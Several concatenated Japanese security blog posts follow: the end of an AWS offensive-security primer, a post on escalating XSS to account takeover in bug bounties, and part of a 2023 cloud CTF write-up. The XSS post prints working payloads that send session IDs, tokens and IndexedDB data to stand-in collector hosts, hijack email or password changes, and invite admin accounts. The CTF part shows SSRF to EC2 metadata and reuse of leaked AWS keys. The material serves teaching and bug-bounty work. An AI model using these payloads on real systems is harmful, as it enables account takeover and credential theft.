3/23 08:56:50 54.39.190.134 から AWS GetCallerIdentity の 2 回目の使用
3/23 08:56:51 54.39.187.211 から AWS GetCallerIdentity の 3 回目の使用
3/23 08:57:20 54.39.182.0 から AWS GetCallerIdentity の 4 回目の使用
3/23 08:58:08 3.109.16.140 から Key と情報の列挙 (5番目)

詳しくは、以下をご覧ください。

www.chrisfarris.com

他にも、過去に GitHubAWS のキーペアやアクセスキーを公開するとどういうことが起きるかを検証しているブログもありました。

qiita.com

dev.classmethod.jp


8. その他

侵入テストを行う際の注意点

ペネトレーションテストなどの侵入テストを実際に行う場合は、 AWS カスタマーサポートポリシーの規約に従う必要があります。

規約には、侵入テストを行なって良いサービスや禁止行為などが記載されています。

詳しくは、以下をご覧ください。

aws.amazon.com


おすすめのドキュメント・資料・本


CloudSec に関するブログやニュースレター


AWS 公式ドキュメント


AWS Well-Architected Framework - セキュリティの柱

特に「AWS Well-Architected Framework」のセキュリティの柱は、情報とシステムの保護に焦点を当てたトピックになっているため、今回のオフェンシブな視点に対しての主な保護の観点ともなります。

セキュリティの柱では、主に以下のようなトピックになっていて、ドキュメントにはベストプラクティスが記載されています。

  • ID とアクセス管理
    • アクセス権限の付与・範囲・強さ・管理
  • 検知
    • 設定変更, 不要な動作, アラート
  • インフラストラクチャ保護
    • ネットワーク, コンピューティング
  • データ保護
    • 保管中のデータ, 転送中のデータ
  • インシデント対応
    • 予防的対策(設計レベル)と事後対策(自動化)
  • アプリケーションのセキュリティ

また、AWS 環境内に侵入された場合に被害を最小限に抑えるために、IAM の最小権限を適切に行なったり、AWS の監視サービスやセキュリティ検知サービスを有効的に活用することが推奨されています。


イベント

Security-JAWS

JAWS-UG は AWS を多くの方に知っていただき、活用を推進するために活動をしているユーザーグループです。

Security-JAWS では、攻撃、監査、認証など、様々な分野のスペシャリスト達が、どのようにして AWS を活用しているのか情報を共有し、より一層 AWS を安全に使えるようにしていくことを目的としています。

s-jaws.doorkeeper.jp

scgajge12.hatenablog.com


fwd:cloudsec

fwd:cloudsec とは、クラウドセキュリティに関するカンファレンスのことです。

fwdcloudsec.org

また、全ての講演が、以下の YouTube で公開されています。

www.youtube.com


AWS Security Forum Japan

AWS 国内最大のセキュリティイベント

aws.amazon.com


9. 終わりに

本稿では、AWS 環境における攻撃者のオフェンシブな視点で Cloud Security の入門として紹介しました。

ぜひ、これらの観点を意識した上で AWS 環境の外部面でも内部面でもセキュリティ対策を適切に行ってみてください。

ここまでお読みいただきありがとうございました。

バグバウンティにおける XSS の具体的な脅威の事例まとめ

1. 始めに

こんにちは、morioka12 です。

本稿では、バグバウンティで実際にあった脆弱性報告の事例をもとに、XSS の具体的な脅威(Impact)についていくつか紹介します。


免責事項

本稿の内容は、セキュリティに関する知見を広く共有する目的で執筆されており、悪用行為を推奨するものではありません。


想定読者

  • セキュリティ初学者・学生
    • 特に Web Security の学習をしている方
  • バグバウンティに興味がある方
    • 脆弱性を報告して報酬金を取得したい方


2. XSS (Cross Site Scripting)

XSS (Cross Site Scripting)については、以下をご覧ください。

www.ipa.go.jp

owasp.org

portswigger.net

www.bugbountyhunter.com


HackerOne Top 10 Vulnerability Types

バグバウンティプラットフォームで有名な HackerOne が公開している2023年の「7th Annual Hacker-Powered Security Report」では、XSS が最も多く報告されていました。

また、発見されたすべての脆弱性報告の18%が XSS だったそうです。

Rank Weakness type
1 Cross Site Scripting (XSS)
2 Improper Access Control
3 Information Disclosure
4 Insecure Direct Object Reference (IDOR)
5 Privilege Escalation
6 Misconfiguration
7 Improper Authentication
8 Business logic errors
9 Open redirect
10 Improper Authorization

詳しくは、以下をご覧ください。

www.hackerone.com


Escalation (Goal)

XSS は外部から任意の JavaScript のコードを埋め込み、悪意のあるスクリプトを他のユーザーのブラウザ上で実行させることが可能ですが、バグバウンティの脆弱性報告で危険度の高い報告を示す場合は、主に以下のような Impact をゴールとしてエスカレーションできるかを目指します。

  • アカウントの乗っ取り (Account Takeover,ATO)
    • メールアドレスやパスワードの改ざん
  • 個人情報の取得・改ざん
  • 管理者アカウントの作成や権限昇格

これらを Impact として PoC で示すことが可能であれば、危険度の高い脆弱性として判定される可能性があります。

ちなみに、このようなゴールは「Web ペネトレーションテスト (WebPT)」のシナリオにも脆弱性攻撃の目標として定められたりします。


3. XSS の脅威 (Impact)

3.1 Response Body から Session ID の奪取

例えば、ドメイン「www.redacted.com」で以下のようにパラメーター「blogPostId」で Reflected XSS があったとします。

https://www.redacted.com/preview/001981ba?blogPostId=test123";(alert)("xss")//

また、同一のドメインで Session ID が Response Body に含まれている API のリクエストがあったとします。

https://www.redacted.com/api/uis/accounts/current/sso

これらを活用して、XSS をエスカレーションさせます。

今回は、XSS に含める任意のスクリプトの部分を、Session ID を返す API のリクエストを送信して、その Session ID を攻撃者のサーバーに送信させるようにします。

XSS に含める任意のスクリプトは、以下のようになります。

fetch('https://www.redacted.com/api/uis/accounts/current/sso').then(a => a.text())
    .then(a => fetch('https://random.burpcollaborator.net?x=' + a)) //

Payload は以下のような処理を実行します。

  1. fetch() メソッドを使用して、API にリクエストを送信する
  2. その際のレスポンス内容を変数 a に格納する
  3. 再度 fetch() メソッドを使用して、攻撃者のサーバー(random.burpcollaborator.net)に変数 a の内容(Response Body)を付与して送信する

最終的な URL

https://www.redacted.com/preview/001981ba?blogPostId=327156%22;fetch(%27https://www.redacted.com/api/uis/accounts/current/sso%27).then(a=%3E%20a.text()).then(a=%3E%20fetch(%27https://random.burpcollaborator.net?x=%27%2ba))//

最終的なシナリオは、XSS の Payload を含む URL に被害者をアクセスさせることで、被害者のアカウントに紐づく Sessio ID を攻撃者が奪取することができ、それをそのまま攻撃者が使用することで、被害者のアカウントとしてログインすることが可能です。

被害者のアカウントでログインができたら、以下のようにして完全なアカウントの乗っ取りを行います。

  1. アカウントの設定画面からメールアドレスを攻撃者のものに変更する
  2. パスワードリセットの機能から変更した攻撃者のメールアドレスにパスワードを再設定する URL が送られて、任意のパスワードを設定する
  3. 被害者のアカウントに、攻撃者のメールアドレスと攻撃者が指定したパスワードが設定される

Reference

infosecwriteups.com


3.2 Local Storage から Access Token の奪取

例えば、以下のように POST リクエストのパラメーター「image_url」で Stored XSS があったとします。

image_url="xxx onerror=alert(document.cookie);"

また、その Web アプリケーションでは、Bearer Token を JSON 形式でブラウザの Local Storage に格納されていたとします。

これらを活用して、XSS をエスカレーションさせます。

今回は、XSS に含める任意のスクリプトの部分を、Local Storage から Access Token (Bearer Token)を奪取して、その Token を攻撃者のサーバーに送信させるようにします。

XSS に含める任意のスクリプトは、以下のようになります。

token = JSON.parse(localStorage.getItem('KEYNAME')).access_token,
  url = 'https://g0h5el9lym4iht5u2co4ovymud03os.burpcollaborator.net/' + token,
  fetch(url);

Payload は以下のような処理を実行します。

  1. getItem() メソッドを使用して、Local Storage から Access Token を取得する
  2. 変数 url に攻撃者のサーバーの URL (g0h5el9lym4iht5u2co4ovymud03os.burpcollaborator.net)と Access Token を付与する
  3. fetch() メソッドを使用して、変数 url を送信する

最終的な Payload

"xxx onerror=token=JSON.parse(localStorage.getItem('KEYNAME')).access_token,url=https://g0h5el9lym4iht5u2co4ovymud03os.burpcollaborator.net/'+token,fetch(url);"

Stored XSS で Payload を埋め込むと、以下のように img タグ内に任意のスクリプトが埋め込まれました。

<img src="xxx" onerror="token=JSON.parse(localStorage.getItem('KEYNAME')).access_token,url='https://g0h5el9lym4iht5u2co4ovymud03os.burpcollaborator.net/'+token,fetch(url);s1600">

最終的なシナリオは、XSS の Payload を含む Web ページに被害者をアクセスさせることで、被害者のアカウントに紐づく Access Token を攻撃者が奪取することができ、それをそのまま攻撃者が使用することで、被害者のアカウントとしてアクセスすることが可能です。

Reference

infosecwriteups.com


3.3 IndexedDB から Session Data の奪取

例えば、ユーザー名を保存する POST リクエストのパラメーターで Stored XSS があったとします。

また、対象の Web アプリケーションでは、アカウントのセッション情報を保持するのに IndexedDB を使用していました。

これらを活用して、XSS をエスカレーションさせます。

今回は、XSS に含める任意のスクリプトの部分を、IndexedDB からセッション情報を奪取して、そのセッション情報を攻撃者のサーバーに送信させるようにします。

XSS に含める任意のスクリプトは、以下のようになります。 (WEB_HOOKは攻撃者のサーバー)

indexedDB.databases().then((e => e.forEach((e => (e => {
  let o = indexedDB.open(e, 1);
  o.onsuccess = function() {
    let t = o.result,
      n = t.objectStoreNames || [];
    (new Image).src = 'WEB_HOOK?exfil=database:' + encodeURIComponent(e), Array.from(n).forEach((e => {
      let o = t.transaction(e, 'readonly').objectStore(e);
      console.log(`[+] ObjectStore:${e}`), o.getAll().onsuccess = e => {
        (e.target.result || []).forEach((e => {
          (new Image).src = 'WEB_HOOK?exfil=table:' + JSON.stringify(e)
        }))
      }
    }))
  }
})(e.name)))));

最終的な Payload

<img src=x onerror="(function(){indexedDB.databases().then((e=>e.forEach((e=>(e=>{let o=indexedDB.open(e,1);o.onsuccess=function(){let t=o.result,n=t.objectStoreNames||[];(new Image).src='WEB_HOOK?exfil=database:'+encodeURIComponent(e),Array.from(n).forEach((e=>{let o=t.transaction(e,'readonly').objectStore(e);console.log(`[+] ObjectStore:${e}`),o.getAll().onsuccess=e=>{(e.target.result||[]).forEach((e=>{(new Image).src='WEB_HOOK?exfil=table:'+JSON.stringify(e)}))}}))}})(e.name)))))})()">

最終的なシナリオは、XSS の Payload を含む Web ページに被害者をアクセスさせることで、被害者のアカウントに紐づくセッション情報を攻撃者が奪取することができ、それをそのまま攻撃者が使用することで、被害者のアカウントとしてログインすることが可能です。

IndexedDB から取得したセッション情報は、Chrome の拡張機能である「IndexedDbEdit」などを活用して被害者の情報に書き換えることで、簡単に被害者としてアクセスすることが可能です。

Reference

infosecwriteups.com


3.4 メールアドレスの改ざん

例えば、ドメイン「ownsubdomain.target.com」で以下のようにパラメーター「ccpa_redirect」で Reflected XSS があったとします。

https://ownsubdomain.target.com/overview/?ccpa_redirect=javascript:alert(1);

また、同一のドメインでアカウントのメールアドレスを変更する機能(API)があり、その変更する以下の POST リクエストには CSRF 対策用の Token がありましたが、CSRF Token は Cookie にも含まれていました。

https://ownsubdomain.target.com/api/3/settings/account

これらを活用して、XSS をエスカレーションさせます。

今回は、XSS に含める任意のスクリプトの部分を、攻撃者のメールアドレスに変更させる API のリクエストを送信させるようにします。

XSS に含める任意のスクリプトは、以下のようになります。

var http = new XMLHttpRequest();
http.open('POST', 'https://ownsubdomain.target.com/api/3/settings/account', true);
var csrf = document.cookie.split('; ').find(row = % 3e row.startsWith('XSRF-TOKEN')).split('=')[1];
http.setRequestHeader('X-Xsrf-Token', csrf);
http.withCredentials = true;
http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
http.send('firstName=Hacked%26lastName=byHacker%26loginEmail=attacker@mail.com&phoneNumber=%26notificationEmail=attacker@mail.com%26signature=%26timezone=Asia/Jakarta%26language=english');
alert('email changed');

Payload は以下のような処理を実行します。

  1. Cookie から XSRF-TOKEN を取得する
  2. Request Header の X-Xsrf-Token に取得した CSRF 対策用の Token を付与する
  3. アカウントのメールアドレスを任意のメールアドレスに変更する POST リクエストを送信する

最終的な URL

https://ownsubdomain.target.com/overview/?ccpa_redirect=javascript:var%20http=new%20XMLHttpRequest();%20http.open(%27POST%27,%27https://subdomain.target.com/api/3/settings/account%27,%20true);var%20csrf=%20document.cookie.split(%27;%20%27).find(row%20=%253e%20row.startsWith(%27XSRF-TOKEN%27)).split(%27=%27)[1];http.setRequestHeader(%27X-Xsrf-Token%27,csrf);http.withCredentials=true;http.setRequestHeader(%27Content-type%27,%27application/x-www-form-urlencoded%27);http.send(%27firstName=Hacked%2526lastName=byHacker%2526loginEmail=attacker@mail.com%26phoneNumber=%2526notificationEmail=attacker@mail.com%2526signature=%2526timezone=Asia/Jakarta%2526language=english%27);alert('email%20changed');

最終的なシナリオは、XSS の Payload を含む URL に被害者をアクセスさせることで、被害者のブラウザ上で被害者のアカウントのメールアドレスを攻撃者のものに変更させることが可能です。

そして、そのまま攻撃者がパスワードリセット機能から、被害者のアカウントのパスワードを攻撃者の指定する文字列に再設定することで、完全なアカウントの乗っ取りが可能です。

Reference

rdnzx.medium.com


3.5 パスワードの改ざん

例えば、City の名称をを保存する POST リクエストのパラメーターで Stored XSS があったとします。

また、同一のドメインでアカウントのパスワードを変更できるページがあり、その変更する以下の POST リクエストには CSRF Token がありましたが、現在のパスワードを要求する欄はありませんでした。(新規パスワードのみ)

これらを活用して、XSS をエスカレーションさせます。

今回は、XSS に含める任意のスクリプトの部分を、他の Response Body から CSRF Token を取得して、パスワードを任意の文字列に変更させるようにします。

XSS に含める任意のスクリプトは、以下のようになります。

var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get', '/account-details', true);
req.send();

function handleResponse() {
  var token = this.responseText.match(/name="csrf-passwd" value="(\w+)"/)[1];
};
var http = new XMLHttpRequest();
http.open("POST", "/change-password", true);
http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http.onreadystatechange = function() {
  if (this.readyState == 4 && this.status == 200) {
    document.getElementById("content").innerHTML = this.responseText;
  }
};
http.send("password=123123&confirm_password=123123&csrf_token=" + var);

Payload は以下のような処理を実行します。

  1. アカウント詳細のページ(/account-details)から CSRF Token (csrf-passwd)を取得する
  2. 取得した CSRF Token をパラメーター「csrf_token」に付与した状態で、任意のパスワード(123123)を指定してパスワード変更の POST リクエストを送信する

最終的なシナリオは、XSS の Payload を含む Web ページに被害者をアクセスさせることで、被害者のアカウントのパスワードを攻撃者が指定した文字列に変更することができ、アカウントの乗っ取りまで行うことが可能です。

Reference

medium.com


3.6 管理者アカウントの招待

例えば、ユーザー画面と管理者画面がある Web アプリケーションで、製品名のパラメーターで Stored XSS があったとします。

また、管理者画面には、管理者アカウントの招待を行える機能があり、招待する POST リクエストには CSRF Token が含まれていました。

これらを活用して、XSS をエスカレーションさせます。

今回は、XSS に含める任意のスクリプトの部分を、他の Response Body から CSRF Token を取得して、任意のメールアドレスとパスワードで管理者アカウントを招待(作成)させるようにします。

XSS に含める任意のスクリプトは、以下のようになります。

authenticity_token = document.getElementsByName("authenticity_token")[0].value

POST_URL = "https://redacted/users/invite"
var xhr = new XMLHttpRequest();
xhr.open("POST", POST_URL, true);
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
   console.log(xhr.responseText);
   }
}

xhr.send("utf8=%E2%9C%93&authenticity_token="+authenticity_token+"&email=attacker@gmail.com&role=admin&commit=Invite+User");

Payload は以下のような処理を実行します。

  1. XSS のスクリプトを埋め込んだ Web ページの HTML コードから authenticity_token を取得する
  2. パラメーター「authenticity_token」に取得した Token を付与した状態で、管理者アカウントを招待する POST リクエストを送信する

最終的なシナリオは、XSS の Payload を含む Web ページに被害者(管理者権限を持つユーザー)をアクセスさせることで、被害者のブラウザ上で攻撃者が指定したメールアドレスとパスワードで管理者アカウントを招待させることが可能です。

Reference

hassankhanyusufzai.com


3.7 POST Based Reflected XSS

例えば、ドメイン「Insurance.payu.in」でパラメーター「email」で POST Based の Reflected XSS があったとします。

そのままでは Self XSS と同様の無意味な Impact しか示すのが難しいため、CSRF 攻撃を行って被害者のブラウザ上で POST Based の XSS を開かせるようにアプローチします。

CSRF の PoC は、以下のような HTML になります。

<!DOCTYPE html>
<html>
<head>
  <title>POC</title>
</head>
<body onload="submitPayuForm()">
<script type="text/javascript">
/* auto submit form when user visits our website. */
function submitPayuForm() {
  var payuForm = document.forms.payuFormExploit;
  payuForm.submit();
}
</script>

<form method="POST" action="https://insurance.payu.in/payment.php" hidden="" name="payuFormExploit">
  <input type="text" name="name" value="Aman Rawat">
  <input type="text" name="mobile" value="999999999">
  <input type="text" name="email" value='email"><script>alert("XSS");</script>'>
  <input type="text" name="customerid" value="12345">
  <input type="text" name="amount" value="12345">
  <input type="Submit" name="Submit">
</form>

</body>
</html>

また、アカウントの情報(ユーザー名やメールアドレスなど)を変更する PUT リクエストには、Path に UUID があり、Header に Authentication Token が含まれていました。

PUT /api/v1/merchants/<UUID> HTTP/1.1
Host: onboarding.payu.in
 ...
Authorization: Bearer <Authentication Token>
 ...

{"merchant":{"name":"HACKED"}}

このリクエストを XSS で行わせてアカウントの乗っ取りまでエスカレーションさせるには、アクセスした被害者アカウントの UUID と Authentication Token を奪取する必要があります。

Authentication Token の値は、payu.in のすべてのサブドメインで共有された状態で Cookie に「merchantAccessToken」として含まれていたため、以下のようにして取得することができました。

function getCookie(name){
  var re = new RegExp(name + "=([^;]+)"); 
  var value = re.exec(document.cookie);
  return (value != null) ? unescape(value[1]) : null;
};

alert(getCookie("merchantAccessToken"));
email"><script>function getCookie(name){var re = new RegExp(name + "=([^;]+)"); var value = re.exec(document.cookie);return (value != null) ? unescape(value[1]) : null;};alert(getCookie("merchantAccessToken"));</script>

UUID の値は、GET リクエストの https://onboarding.payu.in/api/v1/merchants の Response Body に含まれていて、CORS は payu.in のサブドメインを許可していたため、以下のようにして取得することができました。

var auth = getCookie("merchantAccessToken");
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
  if (this.status == 200) {
      //fetch the merchant information that contains uuid
      console.log(this.responseText)
  }else{
      console.log("Login into payu.in to exploit further");
  }
}; 
xhttp.open("GET", "https://onboarding.payu.in/api/v1/merchants", true);
xhttp.setRequestHeader("Authorization", "Bearer "+auth);
xhttp.setRequestHeader("Content-Type", "application/json");
xhttp.send();
alert("exploited");

これらを活用して、アカウント情報を変更する PUT リクエストに必要な UUID と Authentication Token を奪取することができたため、最後に以下のようにして XSS の Payload を繋ぎ合わせます。

最終的な PoC (CSRF + XSS)

<!DOCTYPE html>
<html>
<head>
  <title>POC</title>
</head>
<body onload="submitPayuForm()">
<script type="text/javascript">
/* auto submit form when user visits our website. */
function submitPayuForm() {
  var payuForm = document.forms.payuFormExploit;
  payuForm.submit();
}
</script>

<form method="POST" action="https://insurance.payu.in/payment.php" hidden="" name="payuFormExploit">
  <input type="text" name="name" value="Aman Rawat">
  <input type="text" name="mobile" value="999999999">
  <input type="text" name="email" value='email">
<script>
document.body.onload = "exploitNOW";
function getCookie(name){
  var re = new RegExp(name + "=([^;]+)"); 
  var value = re.exec(document.cookie);
  return (value != null) ? unescape(value[1]) : null;
};
function exploiPayU(){
  var auth = getCookie("merchantAccessToken");
  var xhttp = new XMLHttpRequest();
  xhttp.onreadystatechange = function() {
    if (this.status == 200) {
        var resp = JSON.parse(this.responseText);
        var uuid = resp.merchants[0]["uuid"];
        var postBody = "{\"merchant\":{\"name\":\"HACKED\"}}";
        var targetURL = "https://onboarding.payu.in/api/v1/merchants/"+uuid;
        var auth = getCookie("merchantAccessToken");
        var xhttpExploit = new XMLHttpRequest();
        xhttpExploit.onreadystatechange = function(){
          if (this.status == 200) {
            console.log("exploit completed!");
          }
        };
        xhttpExploit.open("PUT", targetURL, true);
        xhttpExploit.setRequestHeader("Authorization", "Bearer "+auth);
        xhttpExploit.setRequestHeader("Content-Type", "application/json");
        xhttpExploit.send(postBody);
    }
  }; 
  xhttp.open("GET", "https://onboarding.payu.in/api/v1/merchants", true);
  xhttp.setRequestHeader("Authorization", "Bearer "+auth);
  xhttp.setRequestHeader("Content-Type", "application/json");
  xhttp.send();
}
exploiPayU();
</script>'>
  <input type="text" name="customerid" value="12345">
  <input type="text" name="amount" value="12345">
  <input type="Submit" name="Submit">
</form>

</body>
</html>

最終的なシナリオは、XSS の Payload を含む CSRF の PoC (HTML ファイル)に被害者をアクセスさせることで、被害者のアカウント情報(ユーザー名やメールアドレス)を書き換えることができ、攻撃者のメールアドレスに変更することでアカウントの乗っ取りが可能です。

Reference

blog.amanrawat.in


4. まとめ

もし、バグバウンティの対象で XSS を発見した場合は、以下のような観点でエスカレーションできないかを追加検証をすることをお勧めします。

  • アカウントに紐づくセッション情報やトークンを JavaScript で奪取することができるか
    • Cookie, Local Storage, IndexedDB, などから
  • アカウント情報(メールアドレスやパスワードなど)を変更するリクエストを JavaScript で正常に送ることができるか
    • CSRF 対策用のトークンを Cookie や HTML コードなどから取得して、CSRF を回避することができるか
  • 機密情報を含むレスポンスを JavaScript で送信して奪取することができるか
  • 仕様に反した権限外の不正な操作を JavaScript で実行することができるか
  • 他の脆弱性と組み合わせて更なる脅威を示すことができるか

そして、最終的に XSS で他人のアカウントの乗っ取りまで行うことが可能だったら、脆弱性の脅威(Impact)として高い評価されると思います。

大事な視点は、発見した脆弱性で実際にどういう脅威を具体的に行うことができるかをイメージして検証することです。

注意点としては、XSS は「受動的な脆弱性」に分類されるため、バグバウンティの検証時は自身が持つ2つのアカウント間でなるべく検証を行うようにします。


5. その他

トレーニング

Web Security Academy

PortSwigger が提供する Web Security Academy の Lab のは、30個の問題が用意されています。

portswigger.net

Google XSS Game

Google XSS Game とは、Google のセキュリティチームが作成した XSS に関する学習用ゲームです。

xss-game.appspot.com


ツール

XSS が存在するかを検証(スキャン)するツールはいくつかあり、主に以下のようなツールがあります。

github.com

github.com

github.com


Top XSS Reports

github.com


バグバウンティ入門(始め方)

scgajge12.hatenablog.com


6. 終わりに

本稿では、バグバウンティで実際にあった脆弱性報告の事例をもとに、XSS の具体的な脅威(Impact)についていくつか紹介しました。

バグバウンティの対象で XSS を発見したら、ぜひ脅威をエスカレーションして Impact を高めてみてください。

ここまでお読みいただきありがとうございました。

CTF Cloud 問題の攻撃手法まとめ(2023年版)

1. 始めに

こんにちは、morioka12 です。

本稿では、2023年に開催された CTF のイベントで、Cloud に関する問題をピックアップして、攻撃手法の特徴について紹介します。


想定読者


過去のまとめブログ

過去にも Cloud に関する問題をまとめているため、こちらも合わせてご覧ください。

過去のまとめブログの方が、内容は丁寧で豊富です。

scgajge12.hatenablog.com

scgajge12.hatenablog.com

scgajge12.hatenablog.com


調査対象

今回の対象となる CTF イベントは、以下のような条件で全て調査しています。

  • 2023年1月1日~12月31日の期間にオンライン形式で開催されている
  • CTFtime のイベントに記載されている
  • Cloud 問題、もしくは Web 問題で Cloud に関する要素を取り入れている問題


2. AWS (Amazon Web Services)

2023年は、調査対象の条件下では5問しかありませんでした。

2.1 Amazon EC2

問題1

vikeCTF 2023 の「Eternal Cloud Conquest」の問題では、EC2 上の Web アプリケーションに対して SSRF を行い、メタデータサービスから IAM Role を取得する問題でした。

問題の Web アプリケーションは、プロフィールページにある Profile Image URL に指定したファイルの内容が適当なページでコメントをすると、指定した URL 先のデータが base64 で保存されて返ってくる仕様でした。

画像以外のデータも base64 で返ってくるため、ここに EC2 のメタデータサービスの URL を指定した状態でコメントをすると、SSRF によりメタデータをレスポンスから取得することが可能でした。

  • URL: http://169.254.169.254/latest/meta-data/iam/security-credentials/
vikeCTF-metadata-role
  • URL: http://169.254.169.254/latest/meta-data/iam/security-credentials/vikeCTF-metadata-role
{
    "Code": "Success",
    "LastUpdated": "2023-03-17T16:00:00Z",
    "Type": "AWS-HMAC",
    "AccessKeyId": "12345678901",
    "SecretAccessKey": "v/12345678901",
    "Token": "vikeCTF{d0nt_f0rg3t_@b0ut_n3tw0rk_@cc355}",
    "Expiration": "2023-03-19T16:00:00Z"
}

EC2 のメタデータサービスにある IAM Role から「vikeCTF-metadata-role」というロールがあることがわかり、そのロールの Token から Flag を取得することが可能でした。


対策案

今回の問題が実際にあった場合の対策としては、主に以下のような案が考えられます。

  • 画像を URL 先から指定できる仕様で、画像以外のファイルを保存しないようにする
  • インスタンスメタデータサービスバージョン 2 (IMDSv2)を有効化しておく
  • (画像を保存する仕様を、URL 先からの保存ではなく、ファイルアップロードによる保存に仕様変更する)

また、ドメインの拒否リストで、ローカル IP やメタデータサービスの IP をブロックするようにする場合は、以下のように回避方法が様々あるため、対策が不十分になる可能性があります。


過去問

過去にも EC2 における SSRF に関する問題は一番多く出題されています。


2.2 Amazon S3

問題1

vikeCTF 2023 の「Super Silly Security」の問題では、S3 バケットのアクセス制御の不備に関する問題でした。

問題の Web アプリケーションにアクセスすると、静的な Web ページがあり、以下のようなエラーが表示されました。

・S3 ERROR: Not in Authenticated AWS User group.

・Authenticated AWS User group.

Web ページを探索すると https://super-silly-security.vikesec.ca/flag.png に画像があり、ここに Flag が含まれている可能性があります。

ドメインを dig コマンドで調査すると、以下のように S3 バケットであることが確認できます。

  • super-silly-security.vikesec.ca.s3-website-us-west-2.amazonaws.com
super-silly-security.vikesec.ca. 0 IN   CNAME   super-silly-security.vikesec.ca.s3-website-us-west-2.amazonaws.com.
super-silly-security.vikesec.ca.s3-website-us-west-2.amazonaws.com. 0 IN CNAME s3-website.us-west-2.amazonaws.com.

S3 バケットの中に Flag の画像があるとわかっているため、次は S3 バケットに直接的に匿名アクセスができるかを試みます。

$ aws s3 ls s3://super-silly-security.vikesec.ca
2023-03-18 08:14:04      24728 flag.png
2023-03-18 08:14:04       1821 index.html
2023-03-18 08:14:04       6489 style.css

$ aws s3 cp s3://super-silly-security.vikesec.ca/flag.png flag.png
download: s3://super-silly-security.vikesec.ca/flag.png to ./flag.png

すると、実際に flag.png をローカルにダウンロードすることができ、画像から埋め込まれた Flag を得ることが可能でした。


問題2

HTB Business CTF 2023 の「Unveiled」の問題では、誤ってハードコードされたクレデンシャルを取得してファイルをアップロードして、最終的にリバースシェルを行う問題でした。

問題の Web アプリケーションにアクセスすると、簡易的な Web ページがあり、HTML のコードから s3.unveiled.htb というドメインJavaScript ファイルがあることがわかりました。

  • URL: http://10.129.228.37/index.html
 ...
<script src="http://s3.unveiled.htb/unveiled-backups/main.js"/>
 ...

さらに s3.unveiled.htb を調査すると、これは S3 バケットに該当していたため、AWS CLI で調査していきます。

今回は、以下のように事前にエイリアスを設定した状態で楽に調査してみます。

$ alias aws='aws --endpoint-url http://s3.unveiled.htb'

次に S3 バケットの中身を見てみます。

$ aws s3 ls                                            
2023-07-16 07:54:09 unveiled-backups
2023-07-16 07:54:09 website-assets

$ aws s3 ls unveiled-backups
index.html
main.tf

$ aws s3 ls website-assets                  

An error occurred (InvalidClientTokenId) when calling the ListObjectsV2 operation: The security token included in the request is invalid
$ aws s3api list-buckets
Buckets:
- CreationDate: '2023-07-18T11:48:16+00:00'
   Name: unveiled-backups
- CreationDate: '2023-07-18T11:48:17+00:00'
   Name: website-assets
Owner:
   DisplayName: webfile
   ID: 75aa57f09aa0c8caeab4f8c24e99d10f8e7faeebf76c078efc7c6caea54ba06a

次に S3 バケットunveiled-backups からファイルをダウンロードして、ファイルの中身を見てみます。

$ aws s3api get-object --bucket unveiled-backups --key index.html index.html
$ aws s3api get-object --bucket unveiled-backups --key main.tf main.tf
$ cat main.tf
variable "aws_access_key"{
  default = ""
}
variable "aws_secret_key"{
  default = ""
}

provider "aws" {
  access_key=var.aws_access_key
  secret_key=var.aws_secret_key
}

resource "aws_s3_bucket" "unveiled-backups" {
  bucket = "unveiled-backups"
  acl    = "private"
  tags = {
    Name        = "S3 Bucket"
    Environment = "Prod"
  }
  versioning {
    enabled = true
  }
}

resource "aws_s3_bucket_acl" "bucket_acl" {
  bucket = aws_s3_bucket.unveiled-backups.id
  acl    = "public-read"
}

resource "aws_s3_bucket" "website-assets" {
  bucket = "website-assets"
  acl    = "private"
}

data "aws_iam_policy_document" "allow_s3_access" {
  statement {
    principals {
      type        = "AWS"
      identifiers = ["683633011377"]
    }

    actions = [
      "s3:GetObject",
      "s3:ListBucket",
      "s3:PutObject"
    ]

    resources = [
      aws_s3_bucket.website-assets.arn,
      "${aws_s3_bucket.website-assets.arn}/*",
    ]
  }

resource "aws_s3_bucket_policy" "bucket_policy" {
  bucket = aws_s3_bucket.website-assets.id
  policy = data.aws_iam_policy_document.allow_s3_access.json
}

しかし、aws_access_keyaws_secret_key には認証情報などの記載がありませんでした。

再度、S3 バケットunveiled-backups をさらに調査してみると、2つのバージョンが main.tf のファイルに存在することがわかります。

$ aws s3api list-object-versions --bucket unveiled-backups
{
    "Versions": [
        ...
        {
            "ETag": "\"9c9e9d85b28ce6bbbba93e0860389c65\"",
            "Size": 1107,
            "StorageClass": "STANDARD",
            "Key": "main.tf",
            "VersionId": "a3156f08-f993-4dbe-8e93-cc5495af3309",
            "IsLatest": true,
            "LastModified": "2023-07-16T11:54:11+00:00",
            "Owner": {
                "DisplayName": "webfile",
                "ID": "75aa57f09aa0c8caeab4f8c24e99d10f8e7faeebf76c078efc7c6caea54ba06a"
            }
        },
        {
            "ETag": "\"4947c773e44f5973a9c3d37f24cb8e63\"",
            "Size": 1167,
            "StorageClass": "STANDARD",
            "Key": "main.tf",
            "VersionId": "26d116f4-4977-43d9-9f47-be4ff730fbf8",
            "IsLatest": false,
            "LastModified": "2023-07-16T11:54:11+00:00",
            "Owner": {
                "DisplayName": "webfile",
                "ID": "75aa57f09aa0c8caeab4f8c24e99d10f8e7faeebf76c078efc7c6caea54ba06a"
            }
        }
    ]
}

そのため、古いバージョンの方を取得して違いを抽出してみます。

$ aws s3api get-object --bucket unveiled-backups --key main.tf main.tf --version-id 26d116f4-4977-43d9-9f47-be4ff730fbf8

$ cp main.tf unveiled-backups/mainWithCreds.tf

$ diff unveiled-backups/mainWithCreds.tf unveiled-backups/main.tf 
2c2
<   default = "AKIA6CFMOGFLAHOPQTMA"
---
>   default = ""
5c5
<   default = "tLK3S3CNsXfj0mjPsIH2iCh5odYHMPDwSVxn7CB5"
---
>   default = ""

すると AWS の認証情報(クレデンシャル)を取得することができました。

これをローカルに設定して、アクセス不可だった S3 バケットwebsite-assets に再度アクセスしてみます。

$ aws configure --profile webfile
AWS Access Key ID [None]: AKIA6CFMOGFLAHOPQTMA
AWS Secret Access Key [None]: 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
Default region name [None]: us-east-1
Default output format [None]: json
$ aws s3 ls website-assets --profile webfile
2023-07-16 07:54:10      91790 background.jpg
2023-07-16 07:54:10       4372 index.html

